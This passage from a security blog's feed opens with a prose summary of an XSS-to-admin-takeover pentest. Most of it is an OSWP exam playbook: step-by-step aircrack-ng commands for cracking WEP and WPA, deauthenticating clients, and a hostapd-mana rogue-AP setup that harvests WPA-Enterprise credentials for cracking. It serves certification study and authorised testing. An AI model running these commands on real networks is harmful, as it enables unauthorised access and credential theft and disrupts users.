<p>In this exploit, I leveraged a combination of an <code class="language-plaintext highlighter-rouge">XSS</code> vulnerability and <code class="language-plaintext highlighter-rouge">CSRF</code> token retrieval to achieve a full application takeover, starting from what appeared to be a simple <code class="language-plaintext highlighter-rouge">XSS</code> issue. By first identifying that the application was using an <code class="language-plaintext highlighter-rouge">HttpOnly</code> flag on cookies, I bypassed the limitation by focusing on obtaining the <code class="language-plaintext highlighter-rouge">CSRF</code> token directly from the <code class="language-plaintext highlighter-rouge">meta</code> tag using <code class="language-plaintext highlighter-rouge">JavaScript</code> injected via <code class="language-plaintext highlighter-rouge">XSS</code>. With the token in hand, I could have constructed a <code class="language-plaintext highlighter-rouge">CSRF</code> attack, but instead, I opted for a more direct approach by using the stolen token to execute actions directly through the admin’s browser, including modifying user roles and creating a new administrator account. This method allowed me to patch an existing <code class="language-plaintext highlighter-rouge">role</code> with full permissions and then create a new user associated with that role, ensuring the user had elevated access. By chaining these vulnerabilities together <code class="language-plaintext highlighter-rouge">XSS</code>, <code class="language-plaintext highlighter-rouge">CSRF</code> token retrieval, <code class="language-plaintext highlighter-rouge">role</code> modification, and user creation, I was able to demonstrate how a seemingly low-risk vulnerability could be escalated to gain complete control over the application.</p>]]></content><author><name>Zeyad Azima</name></author><category term="General" /><category term="General" /><category term="pentest" /><category term="pentesting" /><category term="xss" /><category term="csrf" /><category term="bypass" /><category term="javascript" /><category term="exploitation" /><category term="JS" /><category term="cookies" /><summary type="html"><![CDATA[A story of chaining low vulnerabilities to takeover an application in a pentest project.]]></summary></entry><entry><title type="html">OSWP PlayBook: (Offensive Security Wireless Professional)</title><link href="https://github.com/notes/oswplaybook/" rel="alternate" type="text/html" title="OSWP PlayBook: (Offensive Security Wireless Professional)" /><published>2024-07-06T00:00:00+00:00</published><updated>2024-07-06T00:00:00+00:00</updated><id>https://github.com/notes/oswplaybook</id><content type="html" xml:base="https://github.com/notes/oswplaybook/"><![CDATA[<h1 id="summary">Summary</h1>

<p>Kudos to my friend <a href="https://www.linkedin.com/in/abdulrahman-i-mahmoud">@Abdulrahman</a> for starting the first version of the playbook and after contributing together we update it with organized structure, More steps and practicality. You can download the <code class="language-plaintext highlighter-rouge">PDF</code> version of the book fro <a href="https://github.com/abdoibrahim1337/OSWP-PlayBook">here</a>.</p>

<h1 id="contact--follow-us">Contact &amp; Follow Us</h1>

<table>
  <thead>
    <tr>
      <th> </th>
      <th> </th>
      <th> </th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Github</td>
      <td><a href="https://github.com/abdoibrahim1337">Abdulrahman</a></td>
      <td><a href="https://github.com/Zeyad-Azima">Zeyad</a></td>
    </tr>
    <tr>
      <td>Linkedin</td>
      <td><a href="https://www.linkedin.com/in/abdulrahman-i-mahmoud/">Abdulrahman</a></td>
      <td><a href="https://www.linkedin.com/in/zer0verflow/">Zeyad</a></td>
    </tr>
    <tr>
      <td>Twitter/X</td>
      <td><a href="https://x.com/Abdulrahma77977">Abdulrahman</a></td>
      <td><a href="https://x.com/AzimaZeyad">Zeyad</a></td>
    </tr>
    <tr>
      <td>Website</td>
      <td> </td>
      <td><a href="https://zeyadazima.com">Zeyad</a></td>
    </tr>
    <tr>
      <td>Email</td>
      <td><a href="mailto:0xexploiteagle@gmail.com">0xexploiteagle@gmail.com</a></td>
      <td><a href="mailto:contact@zeyadazima.com">contact@zeyadazima.com</a></td>
    </tr>
  </tbody>
</table>

<h2 id="follow-the-playbook-updates">Follow The PlayBook Updates</h2>
<ul>
  <li><a href="https://github.com/abdoibrahim1337/OSWP-PlayBook">https://github.com/abdoibrahim1337/OSWP-PlayBook</a></li>
  <li><a href="https://zeyadazima.com/notes/oswplaybook/">https://zeyadazima.com/notes/oswplaybook/</a></li>
</ul>

<h1 id="reconnaissance">Reconnaissance</h1>

<h2 id="setup-interfaces">Setup Interfaces</h2>

<ul>
  <li>Set Interface to monitor mode</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>airmon-ng check <span class="nb">kill</span> <span class="o">&amp;&amp;</span> <span class="nb">sudo </span>airmon-ng start &lt;interface&gt;
</code></pre></div></div>

<ul>
  <li>Set Interface to managed mode</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>airmon-ng stop &lt;interface&gt;
</code></pre></div></div>

<h2 id="monitor-networks">Monitor Networks</h2>

<ul>
  <li>Monitor Networks</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>airodump-ng <span class="nt">--band</span> abg <span class="nt">--manufacturer</span> &lt;interface_in_mointor_mode&gt;
</code></pre></div></div>

<ul>
  <li>Monitor Networks including <code class="language-plaintext highlighter-rouge">WPS</code></li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>airodump-ng <span class="nt">--band</span> abg <span class="nt">--manufacturer</span> <span class="nt">--wps</span> &lt;interface_in_mointor_mode&gt;
</code></pre></div></div>

<ul>
  <li>Monitor Specific <code class="language-plaintext highlighter-rouge">Network</code>/<code class="language-plaintext highlighter-rouge">BSSID</code></li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>airodump-ng <span class="nt">--band</span> abg <span class="nt">--manufacturer</span> <span class="nt">--bssid</span> &lt;BSSID&gt; <span class="nt">-c</span> &lt;channel&gt; &lt;interface_in_mointor_mode&gt;
</code></pre></div></div>

<h2 id="discover-hidden-networks">Discover Hidden Networks</h2>

<ul>
  <li>Get hidden Network <code class="language-plaintext highlighter-rouge">ESSID</code> using <code class="language-plaintext highlighter-rouge">BSSID</code></li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>airodump-ng <span class="nt">--band</span> abg <span class="nt">--bssid</span> &lt;mac&gt; wlan0mon
</code></pre></div></div>

<ul>
  <li>Get hidden Network w/ Bruteforcing
    <div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mdk4 wlan0mon p <span class="nt">-t</span> &lt;BSSID&gt; <span class="nt">-f</span> &lt;wordlist&gt;
</code></pre></div>    </div>
  </li>
</ul>

<h2 id="change-channel">Change Channel</h2>

<ul>
  <li>The interface has to be in monitor mode:</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>iwconfig &lt;interface_in_mointor_mode&gt; channel &lt;number&gt;
</code></pre></div></div>

<h2 id="change-mac-address">Change MAC Address</h2>

<ol>
  <li>Stop network manager<br />
<code class="language-plaintext highlighter-rouge">systemctl stop network-manager</code></li>
  <li>Stop Interface<br />
<code class="language-plaintext highlighter-rouge">ip link set wlan0 down</code></li>
  <li>Change the MAC address<br />
<code class="language-plaintext highlighter-rouge">macchanger -m &lt;new_mac_address&gt; &lt;interface&gt;</code></li>
  <li>Start Interface<br />
<code class="language-plaintext highlighter-rouge">ip link set wlan0 up</code></li>
</ol>

<h3 id="tips">Tips</h3>

<p>If not succeed in this case may</p>

<ol>
  <li>interface name is wrong</li>
  <li>your interface in monitor mode<br />
In second case to fix it set it to managed mode:<br />
<code class="language-plaintext highlighter-rouge">sudo airmon-ng stop &lt;int&gt;</code></li>
</ol>

<h1 id="connecting-to-networks">Connecting to Networks</h1>

<h2 id="connect-to-open-network">Connect to Open Network</h2>

<p><strong>open.conf</strong></p>

<div class="language-conf highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">network</span>={
    <span class="n">ssid</span>=<span class="s2">"Open_Network_Name"</span>
    <span class="n">key_mgmt</span>=<span class="n">NONE</span>
}
</code></pre></div></div>

<p>Set <code class="language-plaintext highlighter-rouge">ssid</code> to the network name you want to connect to. Then, Save it to <code class="language-plaintext highlighter-rouge">open.conf</code> and connect using the following command:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>wpa_supplicant <span class="nt">-i</span> &lt;int&gt; <span class="nt">-c</span> &lt;file&gt;
</code></pre></div></div>

<p>Then open another terminal and request <code class="language-plaintext highlighter-rouge">ip</code> from the <code class="language-plaintext highlighter-rouge">DHCP</code> server:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>dhclient wlan0 <span class="nt">-v</span>
</code></pre></div></div>

<h2 id="connect-to-wpa123-networks">Connect to WPA(1/2/3) Networks</h2>

<p><strong>WPA</strong></p>

<div class="language-conf highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">network</span>={
    <span class="n">ssid</span>=<span class="s2">"SSID"</span>
    <span class="n">psk</span>=<span class="s2">"password"</span>
    <span class="n">scan_ssid</span>=<span class="m">1</span>
    <span class="n">key_mgmt</span>=<span class="n">WPA</span>-<span class="n">PSK</span>
    <span class="n">proto</span>=<span class="n">WPA2</span>
}
</code></pre></div></div>

<p>for the <code class="language-plaintext highlighter-rouge">proto</code> set it to the <code class="language-plaintext highlighter-rouge">WPA(version)</code>:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">WPA</code></li>
  <li><code class="language-plaintext highlighter-rouge">WPA2</code></li>
  <li><code class="language-plaintext highlighter-rouge">WPA3</code></li>
</ul>

<p>Set <code class="language-plaintext highlighter-rouge">ssid</code> to the network name you want to connect to. Then, Save it to <code class="language-plaintext highlighter-rouge">wpa.conf</code> and connect using the following command:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>wpa_supplicant <span class="nt">-i</span> &lt;int&gt; <span class="nt">-c</span> &lt;file&gt;
</code></pre></div></div>

<p>Then open another terminal and request <code class="language-plaintext highlighter-rouge">ip</code> from the <code class="language-plaintext highlighter-rouge">DHCP</code> server:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>dhclient wlan0 <span class="nt">-v</span>
</code></pre></div></div>

<h2 id="connect-to-wpa-enterprise">Connect to WPA Enterprise</h2>

<div class="language-conf highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">network</span>={
  <span class="n">ssid</span>=<span class="s2">"SSID"</span>
  <span class="n">scan_ssid</span>=<span class="m">1</span>
  <span class="n">key_mgmt</span>=<span class="n">WPA</span>-<span class="n">EAP</span>
  <span class="n">eap</span>=<span class="n">PEAP</span>
  <span class="n">identity</span>=<span class="s2">"identity\user"</span>
  <span class="n">password</span>=<span class="s2">"password"</span>
  <span class="n">phase1</span>=<span class="s2">"peaplabel=0"</span>
  <span class="n">phase2</span>=<span class="s2">"auth=MSCHAPV2"</span>
}
</code></pre></div></div>

<p>set <code class="language-plaintext highlighter-rouge">identity</code> to the username, and <code class="language-plaintext highlighter-rouge">password</code> to the password.<br />
Set <code class="language-plaintext highlighter-rouge">ssid</code> to the network name you want to connect to. Then, Save it to <code class="language-plaintext highlighter-rouge">wpa_entp.conf</code> and connect using the following command:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>wpa_supplicant <span class="nt">-i</span> &lt;int&gt; <span class="nt">-c</span> &lt;file&gt;
</code></pre></div></div>

<p>Then open another terminal and request <code class="language-plaintext highlighter-rouge">ip</code> from the <code class="language-plaintext highlighter-rouge">DHCP</code> server:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>dhclient wlan0 <span class="nt">-v</span>
</code></pre></div></div>

<h2 id="connect-to-wep-network">Connect to WEP Network</h2>

<div class="language-conf highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">network</span>={
  <span class="n">ssid</span>=<span class="s2">"SSID"</span>
  <span class="n">key_mgmt</span>=<span class="n">NONE</span>
  <span class="n">wep_key0</span>=<span class="s2">""</span>
  <span class="n">wep_tx_keyidx</span>=<span class="m">0</span>
}
</code></pre></div></div>

<blockquote>
  <p>Note : Password(wep_key0) in WEP should be lowercase if hex and without <code class="language-plaintext highlighter-rouge">""</code><br />
Capital also works in hex password</p>
</blockquote>

<p>Set <code class="language-plaintext highlighter-rouge">ssid</code> to the network name you want to connect to. Then, Save it to <code class="language-plaintext highlighter-rouge">wep.conf</code> and connect using the following command:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>wpa_supplicant <span class="nt">-i</span> &lt;int&gt; <span class="nt">-c</span> &lt;file&gt;
</code></pre></div></div>

<p>Then open another terminal and request <code class="language-plaintext highlighter-rouge">ip</code> from the <code class="language-plaintext highlighter-rouge">DHCP</code> server:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>dhclient wlan0 <span class="nt">-v</span>
</code></pre></div></div>

<h1 id="attacking-networks">Attacking Networks</h1>

<h2 id="attacking-wep-networks">Attacking WEP Networks</h2>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/25a28bbe-eedf-45ff-b37e-9757206488e7" alt="image" /></p>

<ol>
  <li>Capture packets with the <code class="language-plaintext highlighter-rouge">WEP</code> network info</li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>airodump-ng <span class="nt">-w</span> &lt;pcap_file_name&gt; <span class="nt">--band</span> abg <span class="nt">--bssid</span> &lt;mac&gt; <span class="nt">-c</span> &lt;channel&gt; wlan0mon
</code></pre></div></div>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/26e2fcb3-25fd-4dd0-8605-d6cee8b47f84" alt="image" /></p>

<ol>
  <li>Send fake authentication</li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>aireplay-ng <span class="nt">-1</span> 0 <span class="nt">-a</span> &lt;BSSID&gt; <span class="nt">-h</span> &lt;Interface_Mac&gt; <span class="nt">-e</span> <span class="s2">"ESSID"</span> &lt;Interface&gt;
</code></pre></div></div>

<blockquote>
  <p>Note: The interface mac address you can use anything also you if you would like to spoof one</p>
</blockquote>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/2ecccfa9-7b11-4475-9c42-e96ca787e07b" alt="image" /></p>

<ol>
  <li>ARPreplay Attack</li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>aireplay-ng <span class="nt">--arpreplay</span> <span class="nt">-b</span> &lt;BSSID&gt; <span class="nt">-h</span> &lt;Interface_mac_address&gt; &lt;interface_in_mointor_mode&gt;
</code></pre></div></div>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/83bdb6cb-7a7f-4ab9-84fc-b1a18b1daa47" alt="image" /></p>

<ol>
  <li>Crack password</li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>aircrack-ng wep-01.cap
</code></pre></div></div>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/579ac7b3-1ba3-48fe-910c-2b5a6a3dc6de" alt="image" /></p>

<h2 id="attacking-wpa-psk-networks">Attacking WPA-PSK Networks</h2>

<ol>
  <li>Gathering information of the target network like the <code class="language-plaintext highlighter-rouge">Channel</code> , <code class="language-plaintext highlighter-rouge">BSSID</code></li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>airodump-ng <span class="nt">--band</span> abg &lt;interface_in_mointor_mode&gt;
</code></pre></div></div>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/c71aad24-31da-40ad-a8a7-e50e0403ee54" alt="image" /></p>

<blockquote>
  <p>The above network type is WPA1 as there is no version appered</p>
</blockquote>

<ol>
  <li>Capture Handshake</li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>airodump-ng &lt;interface_in_monitor_mode&gt; <span class="nt">--bssid</span> &lt;BSSID&gt; <span class="nt">-c</span> &lt;channel&gt; <span class="nt">-w</span> &lt;pcap_file_name&gt;
</code></pre></div></div>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/dcdf06a5-69f8-4431-b004-3c4d5b2071a0" alt="image" /></p>

<ol>
  <li>Perform De-authentication attack (kick a spasific client from the network to get the handshake)</li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>aireplay-ng <span class="nt">-0</span> 5 <span class="nt">-c</span> &lt;client-mac&gt; <span class="nt">-a</span> &lt;BSSID&gt;  &lt;interface_in_mointor_mode&gt;
</code></pre></div></div>

<blockquote>
  <p>Note: Delete <code class="language-plaintext highlighter-rouge">-c</code> option if you want to do it in broadcast (Kick all clients)</p>
</blockquote>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/da52dea5-5c98-4697-afbb-ab6360367652" alt="image" /></p>

<ol>
  <li>Wait till get the handshake</li>
</ol>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/331c6a18-6d06-4760-9b9c-f83bcb4ecbf3" alt="image" /></p>

<ol>
  <li>After getting <code class="language-plaintext highlighter-rouge">EAPOL</code> ( Handshake), We will crack the password using aircrack-ng</li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>aircrack-ng <span class="nt">-w</span> &lt;wordlist&gt; capfile.cap
</code></pre></div></div>

<blockquote>
  <p>Connect to the network using connecting to networks section</p>
</blockquote>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/e4a8a697-8c0a-4609-aca3-3b5ecf538203" alt="image" /></p>

<h2 id="attacking-wpa-enterprise">Attacking WPA-Enterprise</h2>

<ol>
  <li>First, We gather information about the network like <code class="language-plaintext highlighter-rouge">BSSID</code> , <code class="language-plaintext highlighter-rouge">channel</code> to filter the networks using:</li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>airodump-ng <span class="nt">--band</span> abg &lt;interface_in_mointor_mode&gt;
</code></pre></div></div>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/44b7b04c-31c2-4e6b-ba69-265572e45f22" alt="image" /></p>

<ol>
  <li>Then we gather handshake for the enterprise network</li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>airodump-ng <span class="nt">--band</span> abg <span class="nt">-c</span> x <span class="nt">--bssid</span> &lt;BSSID&gt; <span class="nt">-w</span> &lt;pcap_file_name&gt; &lt;interface_in_mointor_mode&gt;
</code></pre></div></div>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/a55a09f5-9dd3-40d7-8320-7f291ec7042c" alt="image" /></p>

<ol>
  <li>After that we look at clients of the network and try to De-authenticate a client to get <code class="language-plaintext highlighter-rouge">PMKID</code> for the network:</li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>aireplay-ng <span class="nt">-0</span> 4 <span class="nt">-a</span> &lt;BSSID&gt; <span class="nt">-c</span> &lt;client_mac&gt; &lt;interface_in_mointor_mode&gt;
</code></pre></div></div>

<blockquote>
  <p>Then we wait till we get handshake, In some cases we can wait client to connect.</p>
</blockquote>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/c16fbe89-75aa-4a41-b06a-bba233b05b64" alt="image" /></p>

<ol>
  <li>After we get it we go through cap file and extract the <code class="language-plaintext highlighter-rouge">IDENTITY USER</code></li>
</ol>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/d56ebb59-8fec-4a3e-908d-de65e88ea0c4" alt="image" /></p>

<ol>
  <li>Extract the <code class="language-plaintext highlighter-rouge">Certificate</code></li>
</ol>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/943fb932-8769-4761-b423-e99a2281d1c6" alt="image" /></p>

<blockquote>
  <p>Note: Save the cert in <code class="language-plaintext highlighter-rouge">der</code> as the following</p>
</blockquote>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/21a51519-9bbe-4f5d-b67c-b08daa5a9ada" alt="image" /></p>

<ol>
  <li>We also display information of certificate using this command</li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl x509 <span class="nt">-inform</span> der <span class="nt">-in</span> CERTIFICATE_FILENAME <span class="nt">-text</span>
</code></pre></div></div>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/4572ce69-6645-4287-8e9f-279da57f0f3e" alt="image" /></p>

<ol>
  <li>Fake the network using <code class="language-plaintext highlighter-rouge">freeradius</code><br />
We go to <code class="language-plaintext highlighter-rouge">/etc/freeradius/3.0/certs</code> path, Then we change the following 2 files with information we obtained from the certificate:</li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nano ca.cnf
</code></pre></div></div>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/fbf487d4-e74f-4052-8b99-6812bf1c1387" alt="image" /></p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nano server.cnf
</code></pre></div></div>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/a5b787fc-f280-4c37-b284-ee58c27af701" alt="image" /></p>

<ol>
  <li>After that we do the following commands under <code class="language-plaintext highlighter-rouge">/etc/freeradius/3.0/certs</code> to generate <code class="language-plaintext highlighter-rouge">Diffie Hellman key</code> for <code class="language-plaintext highlighter-rouge">hostapd-mana</code></li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">rm </span>dh
make 
</code></pre></div></div>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/6d7916b3-8f96-4b96-b5dc-ae45125e8b6f" alt="image" /></p>

<blockquote>
  <p>You may encounter error as the following, You can ignore it</p>
</blockquote>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/8f579cab-2ee9-4c26-9ff0-c3e26ca44314" alt="image" /></p>

<p>10 . We create <code class="language-plaintext highlighter-rouge">EAP</code> user filename <code class="language-plaintext highlighter-rouge">mana.eap_user</code></p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">*</span>	PEAP,TTLS,TLS,FAST
<span class="s2">"t"</span>   TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2    <span class="s2">"pass"</span>   <span class="o">[</span>2]
</code></pre></div></div>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/1e9652c6-a0f1-4aa2-a403-ca65316a4117" alt="image" /></p>

<ol>
  <li>After that we create a fake access point by creating a file called <code class="language-plaintext highlighter-rouge">network.conf</code> under any other directory</li>
  <li>We paste the following configurations in the file and modify it to our needs:</li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">ssid</span><span class="o">=</span>&lt;ESSID&gt;
<span class="nv">interface</span><span class="o">=</span>&lt;managed_mode_interface&gt;
<span class="nv">driver</span><span class="o">=</span>nl80211

<span class="nv">channel</span><span class="o">=</span>&lt;channel&gt;
<span class="nv">hw_mode</span><span class="o">=</span>a
<span class="nv">ieee8021x</span><span class="o">=</span>1
<span class="nv">eap_server</span><span class="o">=</span>1
<span class="nv">eapol_key_index_workaround</span><span class="o">=</span>0

<span class="nv">eap_user_file</span><span class="o">=</span>/etc/hostapd-mana/mana.eap_user

<span class="nv">ca_cert</span><span class="o">=</span>/etc/freeradius/3.0/certs/ca.pem
<span class="nv">server_cert</span><span class="o">=</span>/etc/freeradius/3.0/certs/server.pem
<span class="nv">private_key</span><span class="o">=</span>/etc/freeradius/3.0/certs/server.key

<span class="nv">private_key_passwd</span><span class="o">=</span>whatever

<span class="nv">dh_file</span><span class="o">=</span>/etc/freeradius/3.0/certs/dh


<span class="nv">auth_algs</span><span class="o">=</span>1
<span class="nv">wpa</span><span class="o">=</span>3
<span class="nv">wpa_key_mgmt</span><span class="o">=</span>WPA-EAP


<span class="nv">wpa_pairwise</span><span class="o">=</span>CCMP TKIP
<span class="nv">mana_wpe</span><span class="o">=</span>1
<span class="nv">mana_credout</span><span class="o">=</span>/tmp/hostapd.credoutfile
<span class="nv">mana_eapsuccess</span><span class="o">=</span>1
<span class="nv">mana_eaptls</span><span class="o">=</span>1
</code></pre></div></div>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/6b189ea5-7a53-469a-8d07-a45eac454908" alt="image" /></p>

<ol>
  <li>
    <p>Turn the interface to managed mode again</p>
  </li>
  <li>
    <p>Then use the following command to create fake <code class="language-plaintext highlighter-rouge">AP</code></p>
  </li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>hostapd-mana &lt;file.conf&gt;
</code></pre></div></div>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/0c73bcf5-6cf0-40f5-82a2-0a7201a59b7e" alt="image" /></p>

<ol>
  <li>Perform De-authentication attack (kick a spasific client from the network to get the handshake), Using another interface:</li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>aireplay-ng <span class="nt">-0</span> 0 <span class="nt">-c</span> &lt;client-mac&gt; <span class="nt">-a</span> &lt;BSSID&gt;  &lt;interface_in_mointor_mode&gt;
</code></pre></div></div>

<blockquote>
  <p>Note: Delete <code class="language-plaintext highlighter-rouge">-c</code> option if you want to do it in broadcast (Kick all clients)<br />
You need to use another interface in monitor mode, Also you need to set the interface to the same channel as the target network before performing the De-authenticate attack, As the following:</p>
</blockquote>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/c4cafb8c-db5c-40db-bcc6-b3da158e7434" alt="image" /></p>

<blockquote>
  <p>Tip: If there are 2 Enterprise network with the same name, You need to perform the De-authenticate attack on both of the networks.</p>
</blockquote>

<ol>
  <li>then once you get handshake you will copy and paste command of asleep and adding -W /path/to/wordlist</li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>asleap <span class="nt">-C</span> <span class="k">do</span>:3b:8d:7b:22:00:0:91 <span class="nt">-R</span> 68:09:13:ac:e8:df:36:5f:42:94:fb:97:91:05:2:21:72:ff:b3:ce:c0:ca:26:f7 <span class="nt">-W</span> /usr/share/john/password.lst
</code></pre></div></div>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/33194df7-fec9-4f2d-b658-04beb188ee0b" alt="image" /></p>

<blockquote>
  <p>Note: if it doesn’t work with you can get the hash of the <code class="language-plaintext highlighter-rouge">Hashcat</code> tool and put it in file called <code class="language-plaintext highlighter-rouge">hashfile</code> and use this command to crack it<br />
<code class="language-plaintext highlighter-rouge">hashcat -a 0 -m 5500 hashfile rockyou.txt --force</code></p>
</blockquote>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/18e2b203-ca58-4233-939d-eb26a6da24af" alt="image" /></p>

<ol>
  <li>After getting username and password here you go for connecting to the network section.</li>
</ol>

<h1 id="install-required-tools--packages">Install Required Tools &amp; Packages:</h1>

<h2 id="freeradius">FreeRADIUS</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt update
<span class="nb">sudo </span>apt <span class="nb">install </span>freeradius freeradius-utils
</code></pre></div></div>

<h2 id="hostapd-mana">Hostapd-Mana</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt update
<span class="nb">sudo </span>apt <span class="nb">install </span>libssl-dev libnl-3-dev libnl-genl-3-dev
git clone https://github.com/sensepost/hostapd-mana.git
<span class="nb">cd </span>hostapd-mana/hostapd
make
<span class="nb">sudo </span>make <span class="nb">install</span>
</code></pre></div></div>

<h2 id="aircrack-ng">Aircrack-ng</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt update
<span class="nb">sudo </span>apt <span class="nb">install </span>aircrack-ng
</code></pre></div></div>

<h2 id="asleap">Asleap</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt update
<span class="nb">sudo </span>apt <span class="nb">install </span>asleap
</code></pre></div></div>

<h2 id="hashcat">Hashcat</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt update
<span class="nb">sudo </span>apt <span class="nb">install </span>hashcat
</code></pre></div></div>

<h2 id="john-the-ripper">John the Ripper</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt update
<span class="nb">sudo </span>apt <span class="nb">install </span>john
</code></pre></div></div>

<h1 id="resources--labs">Resources &amp; Labs</h1>

<h2 id="resources">Resources</h2>

<ul>
  <li>https://github.com/dh0ck/Wi-Fi-Pentesting-Cheatsheet</li>
  <li><a href="https://github.com/drewlong/oswp_notes">https://github.com/drewlong/oswp_notes</a></li>
  <li>https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/</li>
</ul>

